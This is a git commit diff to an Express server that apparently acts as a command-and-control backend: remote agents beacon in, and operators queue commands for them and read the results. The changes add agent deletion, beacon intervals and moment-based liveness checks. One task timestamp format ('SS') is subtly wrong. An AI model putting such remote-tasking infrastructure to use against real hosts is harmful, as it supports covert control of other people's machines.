sig-changes
sigonasr2 4 years ago
parent d137986f9a
commit 8baec4c81b
  1. 16
      app/app.js
  2. 43
      app/store/agents.js
  3. 6
      app/store/tasks.js
  4. 5
      package-lock.json
  5. 8
      package.json

@ -60,6 +60,18 @@ app.get('/api/agents/:agentId/tasks', (req, res) => {
}
})
app.delete('/api/agents/:agentId', (req, res) => {
const agentId = parseInt(req.params.agentId)
const status = agentStore.deleteAgentById(agentId)
if (status) {
res.status(200).json(agentId)
} else {
res.status(404).json({
message: 'agent does not exist'
})
}
})
// Interact with tasks
app.post('/api/tasks', (req, res) => {
const { command, agentId } = req.body
@ -95,8 +107,8 @@ app.get('/api/tasks/:taskId', (req, res) => {
// Beacon
app.post('/beacon', (req, res) => {
const [ip, os, profile] = req.body.split(/\|{2}/)
const agentId = agentStore.addAgent(os, ip, profile)
const [ip, os, profile, interval] = req.body.split(/\|{2}/)
const agentId = agentStore.addAgent(os, ip, profile, interval)
res.status(200).send(`${agentId}`)
})

@ -1,14 +1,17 @@
const moment = require('moment')
const Agents = () => {
const obj = {}
obj.agents = []
obj.addAgent = (os, ip, profile) => {
obj.addAgent = (os, ip, profile, interval) => {
const agent = {}
agent.id = obj.agents.length + 1
agent.os = os
agent.ip = ip
agent.profile = profile
agent.last_beacon_date = new Date(Date.now()).toLocaleString()
agent.interval = parseInt(interval)
agent.last_beacon_date = moment().format('MM/DD/YYYY, hh:mm:ss A')
agent.status = true
obj.agents.push(agent)
return agent.id
@ -16,15 +19,22 @@ const Agents = () => {
obj.getAgentById = (agentId) => {
const agent = obj.agents.find(a => a.id === agentId)
return agent
? agent
: null
if (!agent) {
return null
} else {
const lbd = moment(agent.last_beacon_date, 'MM/DD/YYYY, hh:mm:ss A').utc()
const diff = (lbd.diff(moment().utc(), 'seconds') * -1)
if (diff > (agent.interval + 20)) {
agent.status = false
}
return agent
}
}
obj.updateAgentBeaconTime = (agentId) => {
obj.agents.forEach(a => {
if (a.id === agentId) {
a.last_beacon_date = new Date(Date.now()).toLocaleString()
a.last_beacon_date = moment().format('MM/DD/YYYY, hh:mm:ss A')
return true
}
})
@ -41,7 +51,26 @@ const Agents = () => {
return false
}
obj.getAllAgents = () => obj.agents
obj.deleteAgentById = (agentId) => {
const index = obj.agents.findIndex(agent => agent.id === agentId)
if (index !== -1) {
obj.agents.splice(index, 1)
return true
} else {
return false
}
}
obj.getAllAgents = () => {
obj.agents.forEach(agent => {
const lbd = moment(agent.last_beacon_date, 'MM/DD/YYYY, hh:mm:ss A').utc()
const diff = (lbd.diff(moment().utc(), 'seconds') * -1)
if (diff > (agent.interval + 20)) {
agent.status = false
}
})
return obj.agents
}
return obj
}

@ -1,3 +1,5 @@
const moment = require('moment')
const Tasks = () => {
const obj = {}
obj.tasks = []
@ -7,7 +9,7 @@ const Tasks = () => {
task.agentId = agentId
task.command = command
task.id = obj.tasks.length + 1
task.tasked_date = new Date(Date.now()).toLocaleString()
task.tasked_date = moment().format('MM/DD/YYYY, hh:mm:SS A')
task.complete_date = ''
task.response = ''
obj.tasks.push(task)
@ -32,7 +34,7 @@ const Tasks = () => {
obj.tasks.forEach(t => {
if (t.id === taskId) {
t.response = response
t.complete_date = new Date(Date.now()).toLocaleString()
t.complete_date = moment().format('MM/DD/YYYY, hh:mm:SS A')
}
})
}

5
package-lock.json generated

@ -4250,6 +4250,11 @@
}
}
},
"moment": {
"version": "2.27.0",
"resolved": "https://registry.npmjs.org/moment/-/moment-2.27.0.tgz",
"integrity": "sha512-al0MUK7cpIcglMv3YF13qSgdAIqxHTO7brRtaz3DlSULbqfazqkc5kEjNrLDOM7fsjshoFIihnU8snrP7zUvhQ=="
},
"ms": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",

@ -12,12 +12,8 @@
"author": "",
"license": "ISC",
"dependencies": {
"express": "^4.17.1"
},
"devDependencies": {
"jest": "^26.4.0",
"nodemon": "^2.0.4",
"supertest": "^4.0.2"
"express": "^4.17.1",
"moment": "^2.27.0"
},
"jest": {
"testEnvironment": "node",

Loading…
Cancel
Save